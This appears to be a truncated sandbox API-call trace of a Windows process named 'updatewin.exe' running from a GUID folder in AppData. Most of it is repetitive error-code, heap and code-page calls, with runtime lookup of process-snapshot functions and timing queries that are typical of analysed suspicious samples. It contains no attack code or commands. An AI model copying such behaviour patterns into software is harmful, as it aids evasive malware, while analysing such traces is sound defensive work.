!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xf2\xc3\x5e\x56\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0050.921] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43b480, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin.exe")) returned 0x5e [0050.921] GetLastError () returned 0x0 [0050.922] SetLastError (dwErrCode=0x0) [0050.922] GetLastError () returned 0x0 [0050.922] SetLastError (dwErrCode=0x0) [0050.922] GetLastError () returned 0x0 [0050.922] SetLastError (dwErrCode=0x0) [0050.922] GetLastError () returned 0x0 [0050.922] SetLastError (dwErrCode=0x0) [0050.922] GetLastError () returned 0x0 [0050.922] SetLastError (dwErrCode=0x0) [0050.922] GetLastError () returned 0x0 [0050.922] SetLastError (dwErrCode=0x0) [0050.922] GetLastError () returned 0x0 [0050.922] SetLastError (dwErrCode=0x0) [0050.922] GetLastError () returned 0x0 [0050.922] SetLastError (dwErrCode=0x0) [0050.922] GetLastError () returned 0x0 [0050.922] SetLastError (dwErrCode=0x0) [0050.922] GetLastError () returned 0x0 [0050.922] SetLastError (dwErrCode=0x0) [0050.922] GetLastError () returned 0x0 [0050.922] SetLastError (dwErrCode=0x0) [0050.922] GetLastError () returned 0x0 [0050.922] SetLastError (dwErrCode=0x0) [0050.922] GetLastError () returned 0x0 [0050.922] SetLastError (dwErrCode=0x0) [0050.923] GetLastError () returned 0x0 [0050.923] SetLastError (dwErrCode=0x0) [0050.923] GetLastError () returned 0x0 [0050.923] SetLastError (dwErrCode=0x0) [0050.923] GetLastError () returned 0x0 [0050.923] SetLastError (dwErrCode=0x0) [0050.923] GetLastError () returned 0x0 [0050.923] SetLastError (dwErrCode=0x0) [0050.923] GetLastError () returned 0x0 [0050.923] SetLastError (dwErrCode=0x0) [0050.923] GetLastError () returned 0x0 [0050.923] SetLastError (dwErrCode=0x0) [0050.923] GetLastError () returned 0x0 [0050.924] SetLastError (dwErrCode=0x0) [0050.924] GetLastError () returned 0x0 [0050.924] SetLastError (dwErrCode=0x0) [0050.924] GetLastError () returned 0x0 [0050.924] SetLastError (dwErrCode=0x0) [0050.924] GetLastError () returned 0x0 [0050.924] SetLastError (dwErrCode=0x0) [0050.924] GetLastError () returned 0x0 [0050.924] SetLastError (dwErrCode=0x0) [0050.924] GetLastError () returned 0x0 [0050.924] SetLastError (dwErrCode=0x0) [0050.924] GetLastError () returned 0x0 [0050.924] SetLastError (dwErrCode=0x0) [0050.924] GetLastError () returned 0x0 [0050.924] SetLastError (dwErrCode=0x0) [0050.924] GetLastError () returned 0x0 [0050.924] SetLastError (dwErrCode=0x0) [0050.924] GetLastError () returned 0x0 [0050.924] SetLastError (dwErrCode=0x0) [0050.924] GetLastError () returned 0x0 [0050.924] SetLastError (dwErrCode=0x0) [0050.924] GetLastError () returned 0x0 [0050.924] SetLastError (dwErrCode=0x0) [0050.924] GetLastError () returned 0x0 [0050.924] SetLastError (dwErrCode=0x0) [0050.924] GetLastError () returned 0x0 [0050.925] SetLastError (dwErrCode=0x0) [0050.925] GetLastError () returned 0x0 [0050.925] SetLastError (dwErrCode=0x0) [0050.925] GetLastError () returned 0x0 [0050.925] SetLastError (dwErrCode=0x0) [0050.925] GetLastError () returned 0x0 [0050.925] SetLastError (dwErrCode=0x0) [0050.925] GetLastError () returned 0x0 [0050.925] SetLastError (dwErrCode=0x0) [0050.925] GetLastError () returned 0x0 [0050.925] SetLastError (dwErrCode=0x0) [0050.925] GetLastError () returned 0x0 [0050.925] SetLastError (dwErrCode=0x0) [0050.925] GetLastError () returned 0x0 [0050.925] SetLastError (dwErrCode=0x0) [0050.925] GetLastError () returned 0x0 [0050.925] SetLastError (dwErrCode=0x0) [0050.925] GetLastError () returned 0x0 [0050.925] SetLastError (dwErrCode=0x0) [0050.925] GetLastError () returned 0x0 [0050.925] SetLastError (dwErrCode=0x0) [0050.925] GetLastError () returned 0x0 [0050.925] SetLastError (dwErrCode=0x0) [0050.925] GetLastError () returned 0x0 [0050.925] SetLastError (dwErrCode=0x0) [0050.926] GetLastError () returned 0x0 [0050.926] SetLastError (dwErrCode=0x0) [0050.926] GetLastError () returned 0x0 [0050.926] SetLastError (dwErrCode=0x0) [0050.926] GetLastError () returned 0x0 [0050.926] SetLastError (dwErrCode=0x0) [0050.926] GetLastError () returned 0x0 [0050.926] SetLastError (dwErrCode=0x0) [0050.926] GetLastError () returned 0x0 [0050.926] SetLastError (dwErrCode=0x0) [0050.926] GetLastError () returned 0x0 [0050.926] SetLastError (dwErrCode=0x0) [0050.926] GetLastError () returned 0x0 [0050.926] SetLastError (dwErrCode=0x0) [0050.926] GetLastError () returned 0x0 [0050.926] SetLastError (dwErrCode=0x0) [0050.926] GetLastError () returned 0x0 [0050.926] SetLastError (dwErrCode=0x0) [0050.926] GetLastError () returned 0x0 [0050.926] SetLastError (dwErrCode=0x0) [0050.926] GetLastError () returned 0x0 [0050.926] SetLastError (dwErrCode=0x0) [0050.926] GetLastError () returned 0x0 [0050.926] SetLastError (dwErrCode=0x0) [0050.926] GetLastError () returned 0x0 [0050.927] SetLastError (dwErrCode=0x0) [0050.927] GetLastError () returned 0x0 [0050.927] SetLastError (dwErrCode=0x0) [0050.927] GetLastError () returned 0x0 [0050.927] SetLastError (dwErrCode=0x0) [0050.927] GetLastError () returned 0x0 [0050.927] SetLastError (dwErrCode=0x0) [0050.927] GetLastError () returned 0x0 [0050.927] SetLastError (dwErrCode=0x0) [0050.927] GetLastError () returned 0x0 [0050.927] SetLastError (dwErrCode=0x0) [0050.927] GetLastError () returned 0x0 [0050.927] SetLastError (dwErrCode=0x0) [0050.927] GetLastError () returned 0x0 [0050.927] SetLastError (dwErrCode=0x0) [0050.927] GetLastError () returned 0x0 [0050.927] SetLastError (dwErrCode=0x0) [0050.927] GetLastError () returned 0x0 [0050.927] SetLastError (dwErrCode=0x0) [0050.927] GetLastError () returned 0x0 [0050.927] SetLastError (dwErrCode=0x0) [0050.927] GetLastError () returned 0x0 [0050.927] SetLastError (dwErrCode=0x0) [0050.927] GetLastError () returned 0x0 [0050.927] SetLastError (dwErrCode=0x0) [0050.927] GetLastError () returned 0x0 [0050.928] SetLastError (dwErrCode=0x0) [0050.928] GetLastError () returned 0x0 [0050.928] SetLastError (dwErrCode=0x0) [0050.928] GetLastError () returned 0x0 [0050.928] SetLastError (dwErrCode=0x0) [0050.928] GetLastError () returned 0x0 [0050.928] SetLastError (dwErrCode=0x0) [0050.928] GetLastError () returned 0x0 [0050.928] SetLastError (dwErrCode=0x0) [0050.928] GetLastError () returned 0x0 [0050.928] SetLastError (dwErrCode=0x0) [0050.928] GetLastError () returned 0x0 [0050.928] SetLastError (dwErrCode=0x0) [0050.928] GetLastError () returned 0x0 [0050.928] SetLastError (dwErrCode=0x0) [0050.928] GetLastError () returned 0x0 [0050.928] SetLastError (dwErrCode=0x0) [0050.928] GetLastError () returned 0x0 [0050.928] SetLastError (dwErrCode=0x0) [0050.928] GetLastError () returned 0x0 [0050.928] SetLastError (dwErrCode=0x0) [0050.928] GetLastError () returned 0x0 [0050.928] SetLastError (dwErrCode=0x0) [0050.928] GetLastError () returned 0x0 [0050.929] SetLastError (dwErrCode=0x0) [0050.929] GetLastError () returned 0x0 [0050.929] SetLastError (dwErrCode=0x0) [0050.929] GetLastError () returned 0x0 [0050.929] SetLastError (dwErrCode=0x0) [0050.929] GetLastError () returned 0x0 [0050.929] SetLastError (dwErrCode=0x0) [0050.929] GetLastError () returned 0x0 [0050.929] SetLastError (dwErrCode=0x0) [0050.929] GetLastError () returned 0x0 [0050.929] SetLastError (dwErrCode=0x0) [0050.929] GetLastError () returned 0x0 [0050.929] SetLastError (dwErrCode=0x0) [0050.929] GetLastError () returned 0x0 [0050.929] SetLastError (dwErrCode=0x0) [0050.929] GetLastError () returned 0x0 [0050.929] SetLastError (dwErrCode=0x0) [0050.929] GetLastError () returned 0x0 [0050.929] SetLastError (dwErrCode=0x0) [0050.929] GetLastError () returned 0x0 [0050.929] SetLastError (dwErrCode=0x0) [0050.929] GetLastError () returned 0x0 [0050.929] SetLastError (dwErrCode=0x0) [0050.929] GetLastError () returned 0x0 [0050.929] SetLastError (dwErrCode=0x0) [0050.929] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x0, Size=0x67) returned 0x1bf1990 [0050.930] GetLastError () returned 0x0 [0050.930] SetLastError (dwErrCode=0x0) [0050.930] GetLastError () returned 0x0 [0050.930] SetLastError (dwErrCode=0x0) [0050.930] GetLastError () returned 0x0 [0050.930] SetLastError (dwErrCode=0x0) [0050.930] GetLastError () returned 0x0 [0050.930] SetLastError (dwErrCode=0x0) [0050.930] GetLastError () returned 0x0 [0050.930] SetLastError (dwErrCode=0x0) [0050.930] GetLastError () returned 0x0 [0050.930] SetLastError (dwErrCode=0x0) [0050.930] GetLastError () returned 0x0 [0050.930] SetLastError (dwErrCode=0x0) [0050.930] GetLastError () returned 0x0 [0050.930] SetLastError (dwErrCode=0x0) [0050.930] GetLastError () returned 0x0 [0050.930] SetLastError (dwErrCode=0x0) [0050.930] GetLastError () returned 0x0 [0050.930] SetLastError (dwErrCode=0x0) [0050.930] GetLastError () returned 0x0 [0050.930] SetLastError (dwErrCode=0x0) [0050.930] GetLastError () returned 0x0 [0050.930] SetLastError (dwErrCode=0x0) [0050.930] GetLastError () returned 0x0 [0050.931] SetLastError (dwErrCode=0x0) [0050.931] GetLastError () returned 0x0 [0050.931] SetLastError (dwErrCode=0x0) [0050.931] GetLastError () returned 0x0 [0050.931] SetLastError (dwErrCode=0x0) [0050.931] GetLastError () returned 0x0 [0050.931] SetLastError (dwErrCode=0x0) [0050.931] GetLastError () returned 0x0 [0050.931] SetLastError (dwErrCode=0x0) [0050.931] GetLastError () returned 0x0 [0050.931] SetLastError (dwErrCode=0x0) [0050.931] GetLastError () returned 0x0 [0050.931] SetLastError (dwErrCode=0x0) [0050.931] GetLastError () returned 0x0 [0050.931] SetLastError (dwErrCode=0x0) [0050.931] GetLastError () returned 0x0 [0050.931] SetLastError (dwErrCode=0x0) [0050.931] GetLastError () returned 0x0 [0050.931] SetLastError (dwErrCode=0x0) [0050.931] GetLastError () returned 0x0 [0050.931] SetLastError (dwErrCode=0x0) [0050.931] GetLastError () returned 0x0 [0050.931] SetLastError (dwErrCode=0x0) [0050.931] GetLastError () returned 0x0 [0050.931] SetLastError (dwErrCode=0x0) [0050.931] GetLastError () returned 0x0 [0050.932] SetLastError (dwErrCode=0x0) [0050.932] GetLastError () returned 0x0 [0050.932] SetLastError (dwErrCode=0x0) [0050.932] GetLastError () returned 0x0 [0050.932] SetLastError (dwErrCode=0x0) [0050.932] GetLastError () returned 0x0 [0050.932] SetLastError (dwErrCode=0x0) [0050.932] GetLastError () returned 0x0 [0050.932] SetLastError (dwErrCode=0x0) [0050.932] GetLastError () returned 0x0 [0050.932] SetLastError (dwErrCode=0x0) [0050.932] GetLastError () returned 0x0 [0050.932] SetLastError (dwErrCode=0x0) [0050.932] GetLastError () returned 0x0 [0050.932] SetLastError (dwErrCode=0x0) [0050.932] GetLastError () returned 0x0 [0050.932] SetLastError (dwErrCode=0x0) [0050.932] GetLastError () returned 0x0 [0050.932] SetLastError (dwErrCode=0x0) [0050.932] GetLastError () returned 0x0 [0050.932] SetLastError (dwErrCode=0x0) [0050.932] GetLastError () returned 0x0 [0050.932] SetLastError (dwErrCode=0x0) [0050.932] GetLastError () returned 0x0 [0050.932] SetLastError (dwErrCode=0x0) [0050.932] GetLastError () returned 0x0 [0050.933] SetLastError (dwErrCode=0x0) [0050.933] GetLastError () returned 0x0 [0050.933] SetLastError (dwErrCode=0x0) [0050.933] GetLastError () returned 0x0 [0050.933] SetLastError (dwErrCode=0x0) [0050.933] GetLastError () returned 0x0 [0050.933] SetLastError (dwErrCode=0x0) [0050.933] GetLastError () returned 0x0 [0050.933] SetLastError (dwErrCode=0x0) [0050.933] GetLastError () returned 0x0 [0050.933] SetLastError (dwErrCode=0x0) [0050.933] GetLastError () returned 0x0 [0050.933] SetLastError (dwErrCode=0x0) [0050.933] GetLastError () returned 0x0 [0050.933] SetLastError (dwErrCode=0x0) [0050.933] GetLastError () returned 0x0 [0050.933] SetLastError (dwErrCode=0x0) [0050.933] GetLastError () returned 0x0 [0050.933] SetLastError (dwErrCode=0x0) [0050.933] GetLastError () returned 0x0 [0050.933] SetLastError (dwErrCode=0x0) [0050.933] GetLastError () returned 0x0 [0050.933] SetLastError (dwErrCode=0x0) [0050.933] GetLastError () returned 0x0 [0050.933] SetLastError (dwErrCode=0x0) [0050.934] GetLastError () returned 0x0 [0050.934] SetLastError (dwErrCode=0x0) [0050.934] GetLastError () returned 0x0 [0050.934] SetLastError (dwErrCode=0x0) [0050.934] GetLastError () returned 0x0 [0050.934] SetLastError (dwErrCode=0x0) [0050.934] GetLastError () returned 0x0 [0050.934] SetLastError (dwErrCode=0x0) [0050.934] GetLastError () returned 0x0 [0050.934] SetLastError (dwErrCode=0x0) [0050.934] GetLastError () returned 0x0 [0050.934] SetLastError (dwErrCode=0x0) [0050.934] GetLastError () returned 0x0 [0050.934] SetLastError (dwErrCode=0x0) [0050.934] GetLastError () returned 0x0 [0050.934] SetLastError (dwErrCode=0x0) [0050.934] GetLastError () returned 0x0 [0050.934] SetLastError (dwErrCode=0x0) [0050.934] GetLastError () returned 0x0 [0050.934] SetLastError (dwErrCode=0x0) [0050.934] GetLastError () returned 0x0 [0050.934] SetLastError (dwErrCode=0x0) [0050.934] GetLastError () returned 0x0 [0050.934] SetLastError (dwErrCode=0x0) [0050.934] GetLastError () returned 0x0 [0050.935] SetLastError (dwErrCode=0x0) [0050.935] GetLastError () returned 0x0 [0050.935] SetLastError (dwErrCode=0x0) [0050.935] GetLastError () returned 0x0 [0050.935] SetLastError (dwErrCode=0x0) [0050.935] GetLastError () returned 0x0 [0050.935] SetLastError (dwErrCode=0x0) [0050.935] GetLastError () returned 0x0 [0050.935] SetLastError (dwErrCode=0x0) [0050.935] GetLastError () returned 0x0 [0050.935] SetLastError (dwErrCode=0x0) [0050.935] GetLastError () returned 0x0 [0050.935] SetLastError (dwErrCode=0x0) [0050.935] GetLastError () returned 0x0 [0050.935] SetLastError (dwErrCode=0x0) [0050.935] GetLastError () returned 0x0 [0050.935] SetLastError (dwErrCode=0x0) [0050.935] GetLastError () returned 0x0 [0050.935] SetLastError (dwErrCode=0x0) [0050.935] GetLastError () returned 0x0 [0050.935] SetLastError (dwErrCode=0x0) [0050.935] GetLastError () returned 0x0 [0050.935] SetLastError (dwErrCode=0x0) [0050.935] GetLastError () returned 0x0 [0050.935] SetLastError (dwErrCode=0x0) [0050.935] GetLastError () returned 0x0 [0050.936] SetLastError (dwErrCode=0x0) [0050.936] GetLastError () returned 0x0 [0050.936] SetLastError (dwErrCode=0x0) [0050.936] GetLastError () returned 0x0 [0050.936] SetLastError (dwErrCode=0x0) [0050.936] GetLastError () returned 0x0 [0050.936] SetLastError (dwErrCode=0x0) [0050.936] GetLastError () returned 0x0 [0050.936] SetLastError (dwErrCode=0x0) [0050.936] GetLastError () returned 0x0 [0050.936] SetLastError (dwErrCode=0x0) [0050.936] GetLastError () returned 0x0 [0050.936] SetLastError (dwErrCode=0x0) [0050.936] GetLastError () returned 0x0 [0050.936] SetLastError (dwErrCode=0x0) [0050.936] GetLastError () returned 0x0 [0050.936] SetLastError (dwErrCode=0x0) [0050.936] GetLastError () returned 0x0 [0050.936] SetLastError (dwErrCode=0x0) [0050.936] GetLastError () returned 0x0 [0050.936] SetLastError (dwErrCode=0x0) [0050.936] GetLastError () returned 0x0 [0050.936] SetLastError (dwErrCode=0x0) [0050.936] GetLastError () returned 0x0 [0050.936] SetLastError (dwErrCode=0x0) [0050.936] GetLastError () returned 0x0 [0050.937] SetLastError (dwErrCode=0x0) [0050.937] GetLastError () returned 0x0 [0050.937] SetLastError (dwErrCode=0x0) [0050.937] GetLastError () returned 0x0 [0050.937] SetLastError (dwErrCode=0x0) [0050.937] GetLastError () returned 0x0 [0050.937] SetLastError (dwErrCode=0x0) [0050.937] GetLastError () returned 0x0 [0050.937] SetLastError (dwErrCode=0x0) [0050.937] GetLastError () returned 0x0 [0050.937] SetLastError (dwErrCode=0x0) [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x98) returned 0x1bf1a00 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x1f) returned 0x1bf1aa0 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x36) returned 0x1bf1ac8 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x37) returned 0x1bf1b08 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x3c) returned 0x1bf1b48 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x31) returned 0x1bf1b90 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x17) returned 0x1bf1bd0 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x24) returned 0x1bf1bf0 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x14) returned 0x1bf1c20 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0xd) returned 0x1bf1c40 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x25) returned 0x1bf1c58 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x39) returned 0x1bf1c88 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x18) returned 0x1bf1cd0 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x17) returned 0x1bf1cf0 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0xe) returned 0x1bf1d10 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x69) returned 0x1bf1d28 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x3e) returned 0x1bf1da0 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x1b) returned 0x1bf1de8 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x1d) returned 0x1bf1e10 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x48) returned 0x1bf1e38 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x12) returned 0x1bf1e88 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x18) returned 0x1bf1ea8 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x1b) returned 0x1bf1ec8 [0050.937] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x24) returned 0x1bf1ef0 [0050.938] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x29) returned 0x1bf1f20 [0050.938] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x1e) returned 0x1bf1f58 [0050.938] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x41) returned 0x1bf1f80 [0050.938] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x17) returned 0x1bf1fd0 [0050.938] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0xf) returned 0x1bf1ff0 [0050.938] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x16) returned 0x1bf2008 [0050.938] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x2a) returned 0x1bf2028 [0050.938] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x29) returned 0x1bf2060 [0050.938] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x15) returned 0x1bf2098 [0050.938] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x1e) returned 0x1bf20b8 [0050.938] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x2a) returned 0x1bf20e0 [0050.938] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x12) returned 0x1bf2118 [0050.938] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x18) returned 0x1bf2138 [0050.938] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x46) returned 0x1bf2158 [0050.938] HeapFree (in: hHeap=0x1bf0000, dwFlags=0x0, lpMem=0x1bf11f8 | out: hHeap=0x1bf0000) returned 1 [0051.017] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x800) returned 0x1bf21a8 [0051.017] RtlAllocateHeap (HeapHandle=0x1bf0000, Flags=0x8, Size=0x80) returned 0x1bf11f8 [0051.017] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e69) returned 0x0 [0051.018] RtlSizeHeap (HeapHandle=0x1bf0000, Flags=0x0, MemoryPointer=0x1bf11f8) returned 0x80 [0051.018] GetLastError () returned 0x0 [0051.018] SetLastError (dwErrCode=0x0) [0051.018] GetLastError () returned 0x0 [0051.018] SetLastError (dwErrCode=0x0) [0051.018] GetLastError () returned 0x0 [0051.018] SetLastError (dwErrCode=0x0) [0051.018] GetLastError () returned 0x0 [0051.018] SetLastError (dwErrCode=0x0) [0051.018] GetLastError () returned 0x0 [0051.018] SetLastError (dwErrCode=0x0) [0051.018] GetLastError () returned 0x0 [0051.019] SetLastError (dwErrCode=0x0) [0051.019] GetLastError () returned 0x0 [0051.019] SetLastError (dwErrCode=0x0) [0051.019] GetLastError () returned 0x0 [0051.019] SetLastError (dwErrCode=0x0) [0051.019] GetLastError () returned 0x0 [0051.019] SetLastError (dwErrCode=0x0) [0051.019] GetLastError () returned 0x0 [0051.019] SetLastError (dwErrCode=0x0) [0051.019] GetLastError () returned 0x0 [0051.019] SetLastError (dwErrCode=0x0) [0051.019] GetLastError () returned 0x0 [0051.019] SetLastError (dwErrCode=0x0) [0051.019] GetLastError () returned 0x0 [0051.019] SetLastError (dwErrCode=0x0) [0051.019] GetLastError () returned 0x0 [0051.019] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0051.019] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0051.019] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0051.020] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0051.021] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0051.022] PeekMessageA (in: lpMsg=0x18fa38, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa38) returned 0 [0051.022] GetTickCount () returned 0x1b856 [0051.022] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: 